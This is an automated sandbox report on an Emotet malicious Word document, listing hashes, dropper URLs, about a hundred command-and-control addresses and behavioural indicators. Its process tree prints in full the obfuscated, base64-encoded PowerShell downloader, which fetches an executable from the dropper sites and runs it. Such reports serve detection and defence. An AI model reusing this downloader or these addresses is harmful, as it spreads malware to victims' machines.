emotet | ac6a5c2f72c10af857d73db327000d07f01f791fe6638c339362584fe1293a4f

General

Target
file 2020_09_04 033.doc
Size 122KB
Sample200904-rb5tph6pmx
SHA256 ac6a5c2f72c10af857d73db327000d07f01f791fe6638c339362584fe1293a4f
MD5 b94f34985e14aa014d89b6a097bba6d9
SHA1 2cfa53886fdf4c9c440faaceacbbf6c396fa2ca9
SHA512 a9959b5ffd813fbc07d92143571222d30c384406952ad9b4c6ad888e31aaeab4df61829aff0902338433a2bf09eb8f89fed0a32a3dcdab13d5c7b67e22e9eb39
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://must-in.com/wp-admin/Q/
exe.dropper
http://maximumwebimpact.com/test/rL9/
exe.dropper
http://aldama.com/www/jkm/
exe.dropper
http://www.bismarjeparamebel.com/wp-includes/SX/
exe.dropper
http://staniszczak.net/cpf/F/
exe.dropper
http://sriharshampromoters.com/sriharshaptr/8/
exe.dropper
https://twisterprint.com/stats/KsU/

Extracted

Family

emotet

C2

185.215.227.107:443
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
172.104.169.32:8080
68.183.190.199:8080
187.162.248.237:80
82.76.111.249:443
184.66.18.83:80
190.6.193.152:8080
77.238.212.227:80
199.203.62.165:80
188.2.217.94:80
185.94.252.12:80
178.250.54.208:8080
206.15.68.237:443
65.36.62.20:80
216.47.196.104:80
219.92.8.17:8080
213.60.96.117:80
77.55.211.77:8080
72.167.223.217:8080
177.74.228.34:80
186.103.141.250:443
190.163.31.26:80
85.109.159.61:443
68.183.170.114:8080
213.197.182.158:8080
45.161.242.102:80
71.197.211.156:80
104.131.103.37:8080
94.176.234.118:443
190.2.31.172:80
5.196.35.138:7080
190.195.129.227:8090
67.247.242.247:80
64.201.88.132:80
152.169.22.67:80
24.135.1.177:80
191.182.6.118:80
51.159.23.217:443
110.142.219.51:80
68.69.155.181:80
82.196.15.205:8080
77.90.136.129:8080
181.129.96.162:8080
45.33.77.42:8080
95.9.180.128:80
192.241.146.84:8080
91.219.169.180:80
188.135.15.49:80
212.71.237.140:8080
98.13.75.196:80
72.47.248.48:7080
209.236.123.42:8080
217.13.106.14:8080
219.92.13.25:80
177.72.13.80:80
12.162.84.2:8080
177.73.0.98:443
50.121.220.50:80
185.178.10.77:80
216.10.40.16:80
61.92.159.208:8080
170.81.48.2:80
45.16.226.117:443
185.94.252.27:443
217.199.160.224:7080
178.79.163.131:8080
186.70.127.199:8090
91.121.54.71:8080
190.190.148.27:8080
190.24.243.186:80
138.97.60.141:7080
104.131.41.185:8080
73.213.208.163:80
181.30.61.163:443
103.106.236.83:8080
192.241.143.52:8080
87.106.46.107:8080
2.47.112.152:80
45.173.88.33:80
204.225.249.100:7080
111.67.77.202:8080
70.32.115.157:8080
111.67.12.221:8080
70.32.84.74:8080
58.171.153.81:80
190.147.137.153:443
190.115.18.139:8080
83.169.21.32:7080
5.189.178.202:8080
50.28.51.143:8080
137.74.106.111:7080
189.2.177.210:443
72.135.200.124:80
51.255.165.160:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3100	4056	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
28	3100	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3900	Uzwko5gz0.exe
3120	omadmapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDSN1\omadmapi.exe	Uzwko5gz0.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = ce3bc513dc82d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3100	powershell.exe
3100	powershell.exe
3100	powershell.exe
3120	omadmapi.exe
3120	omadmapi.exe
3120	omadmapi.exe
3120	omadmapi.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	860	svchost.exe
Token: SeCreatePagefilePrivilege	860	svchost.exe
Token: SeDebugPrivilege	3100	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3900	Uzwko5gz0.exe
3900	Uzwko5gz0.exe
3120	omadmapi.exe
3120	omadmapi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3100 wrote to memory of 3900	3100	powershell.exe	79
PID 3100 wrote to memory of 3900	3100	powershell.exe	79
PID 3100 wrote to memory of 3900	3100	powershell.exe	79
PID 3900 wrote to memory of 3120	3900	Uzwko5gz0.exe	81
PID 3900 wrote to memory of 3120	3900	Uzwko5gz0.exe	81
PID 3900 wrote to memory of 3120	3900	Uzwko5gz0.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\file 2020_09_04 033.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABIAGoAZQBpAHAAYQBnAD0AKAAnAFYAJwArACgAJwB4ADYAYQAnACsAJwBqAHAAMwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAUgBQAHIATwBGAEkATABFAFwASgBMAHQAOABMADEANgBcAFMAeQBXAFMARgBLADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAHUAYABSAEkAYABUAHkAUAByAE8AdABgAE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIALAAgAHQAbAAnACkAKwAoACcAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAJwBzACcAKQA7ACQAUQBjADcANwBrAGMAcwAgAD0AIAAoACcAVQAnACsAJwB6AHcAJwArACgAJwBrACcAKwAnAG8ANQBnACcAKwAnAHoAMAAnACkAKQA7ACQARwAwAGwAdABiAG4AZgA9ACgAKAAnAFAAYQAwACcAKwAnAGsAJwApACsAJwBiACcAKwAnAG4AZQAnACkAOwAkAEsANABxADAAdwA4AGEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAeQAnACsAKAAnAGgAYQBKAGwAJwArACcAdAA4AGwAMQAnACsAJwA2AHkAJwApACsAJwBoACcAKwAoACcAYQBTAHkAdwAnACsAJwBzACcAKQArACcAZgAnACsAJwBrACcAKwAoACcAOAB5ACcAKwAnAGgAYQAnACkAKQAtAEMAcgBFAFAAbABhAGMAZQAgACgAWwBDAGgAQQBSAF0AMQAyADEAKwBbAEMAaABBAFIAXQAxADAANAArAFsAQwBoAEEAUgBdADkANwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFEAYwA3ADcAawBjAHMAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABCAHoANwA1AHoAawA3AD0AKAAnAFIAJwArACgAJwBxAHoAJwArACcAeAA5AHEAYwAnACkAKQA7ACQARgBhADMAdABiADcAMAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgB3AGUAYgBDAEwASQBlAG4AVAA7ACQAVgA2ADUAcwBkAGYAbAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AbQAnACkAKwAoACcAdQBzAHQALQAnACsAJwBpACcAKQArACcAbgAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AUQAvACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAG0AJwApACsAKAAnAGEAeABpAG0AJwArACcAdQBtAHcAZQBiACcAKQArACcAaQAnACsAKAAnAG0AcAAnACsAJwBhAGMAdAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAvACcAKQArACcAdABlACcAKwAoACcAcwB0ACcAKwAnAC8AcgAnACkAKwAoACcATAA5AC8AJwArACcAKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAoACcALwAnACsAJwBhAGwAZABhACcAKQArACcAbQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAvAHcAJwArACcAdwAnACkAKwAoACcAdwAvAGoAawBtAC8AJwArACcAKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AYgAnACsAJwBpAHMAJwApACsAJwBtAGEAJwArACcAcgAnACsAKAAnAGoAZQAnACsAJwBwACcAKQArACgAJwBhAHIAJwArACcAYQBtACcAKQArACgAJwBlAGIAZQBsAC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQBuACcAKQArACcAYwAnACsAKAAnAGwAdQBkACcAKwAnAGUAcwAvACcAKQArACgAJwBTAFgALwAnACsAJwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKQArACgAJwBzAHQAYQAnACsAJwBuAGkAJwApACsAJwBzACcAKwAnAHoAYwAnACsAKAAnAHoAJwArACcAYQBrACcAKQArACgAJwAuAG4AZQB0ACcAKwAnAC8AYwAnACkAKwAoACcAcAAnACsAJwBmAC8AJwApACsAJwBGAC8AJwArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAHMAcgAnACsAJwBpAGgAYQByACcAKQArACgAJwBzAGgAYQBtACcAKwAnAHAAcgAnACkAKwAnAG8AbQAnACsAKAAnAG8AdABlACcAKwAnAHIAcwAnACkAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAnACsAJwAvAHMAcgBpAGgAYQAnACkAKwAoACcAcgAnACsAJwBzAGgAJwApACsAKAAnAGEAcAAnACsAJwB0AHIALwAnACkAKwAoACcAOAAvACoAaAAnACsAJwB0ACcAKQArACcAdAAnACsAKAAnAHAAcwAnACsAJwA6AC8ALwAnACsAJwB0AHcAaQBzAHQAZQByACcAKwAnAHAAJwArACcAcgBpACcAKQArACgAJwBuAHQALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AcwAnACsAKAAnAHQAYQB0AHMAJwArACcALwBLAHMAJwApACsAJwBVACcAKwAnAC8AJwApAC4AIgBzAFAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAOQAyAGkAdwBsAHYAPQAoACgAJwBXAHoAJwArACcANgAzACcAKQArACcAOAAnACsAJwB0AHkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBsAGYAMAB2ADgAMQAgAGkAbgAgACQAVgA2ADUAcwBkAGYAbAApAHsAdAByAHkAewAkAEYAYQAzAHQAYgA3ADAALgAiAGQAYABvAFcAbgBsAE8AYQBEAGAARgBpAGAATABlACIAKAAkAFkAbABmADAAdgA4ADEALAAgACQASwA0AHEAMAB3ADgAYQApADsAJABFADMAMwBzADQAZQA0AD0AKAAnAEIAdgAnACsAKAAnADUAdwB5AHMAJwArACcAeQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABLADQAcQAwAHcAOABhACkALgAiAEwAZQBuAGAARwB0AGgAIgAgAC0AZwBlACAAMgAyADcANQA3ACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAEsANABxADAAdwA4AGEAKQA7ACQATgBhAGQAdwA3AF8AMwA9ACgAKAAnAEsAMAAnACsAJwBhAHEAJwApACsAJwBlACcAKwAnADQAZgAnACkAOwBiAHIAZQBhAGsAOwAkAEwAcgBmAHoAdgB4AGYAPQAoACgAJwBVAGcAJwArACcAYgByACcAKQArACcAXwAnACsAJwA1AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADUAbwB0AHYAeABrAD0AKAAnAFoAbwAnACsAJwBvACcAKwAoACcAZgA0AHQAJwArACcAMAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3100
- C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe
  "C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3900
- - C:\Windows\SysWOW64\KBDSN1\omadmapi.exe
    "C:\Windows\SysWOW64\KBDSN1\omadmapi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3120

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3100-10-0x00000211D2640000-0x00000211D2641000-memory.dmp

Download

memory/3100-11-0x00000211D27F0000-0x00000211D27F1000-memory.dmp

Download

memory/3100-9-0x00007FFC582F0000-0x00007FFC58CDC000-memory.dmp

Download

memory/3120-19-0x00000000005C0000-0x00000000005CD000-memory.dmp

Download

memory/3120-20-0x00000000005D0000-0x00000000005DC000-memory.dmp

Download

memory/3876-0-0x00007FFC5F430000-0x00007FFC5FAF6000-memory.dmp

Download

memory/3876-5-0x00000204C3AAE000-0x00000204C3AB3000-memory.dmp

Download

memory/3900-15-0x0000000000A50000-0x0000000000A5D000-memory.dmp

Download

memory/3900-16-0x0000000000A60000-0x0000000000A6C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads